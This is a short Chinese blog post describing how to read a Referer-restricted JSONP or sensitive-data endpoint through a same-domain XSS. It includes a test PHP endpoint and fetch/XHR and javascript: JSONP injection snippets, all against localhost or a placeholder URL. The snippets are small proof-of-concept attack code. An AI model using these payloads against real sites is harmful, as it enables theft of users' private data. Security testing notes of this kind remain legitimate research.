限制通域refer获取敏感接口信息的方法

在我们遇到诸如jsonp接口泄露敏感信息时,有部分修复只是简单验证了refer为通域下可访问,如果此时CORS设置不当,则可以通过通域下的其他页面的xss漏洞来获取。

测试过几种获取方式,记录如下:

敏感信息接口代码(js.php):

<?php
echo $_SERVER['HTTP_REFERER']."</br>";
$info = parse_url($_SERVER['HTTP_REFERER']);

if($info['host'] == '127.0.0.1')
    echo "data{'phone':1832807777}";
?>

1、普通敏感信息,fetch/xhr获取

<html>
<body onload=''>

<body>
<script>
window.onload=function(){
   //xhr = new XMLHttpRequest();
    //xhr.open("get","http://127.0.0.1/js.php");
    //xhr.send();
    //console.log(xhr.responseText); fetch(
'http://127.0.0.1/js.php', {method: 'GET'}).then((res)=>{ console.log(res.text()); }) } </script>

2、jsonp接口,直接写入

javascript:document.write('<script>function jsonp1(data){alert(JSON.stringify(data));}</script><script src=https://xxxxx?callback=jsonp1></script>

3、其余空refer情况

上面的 fetch、xhr、src引入都含有refer信息,而iframe,window.open()等则在其他允许空 refer 的情况下可利用。

posted on 2018-05-24 20:28  镱鍚  阅读(279)  评论(0)    收藏  举报

导航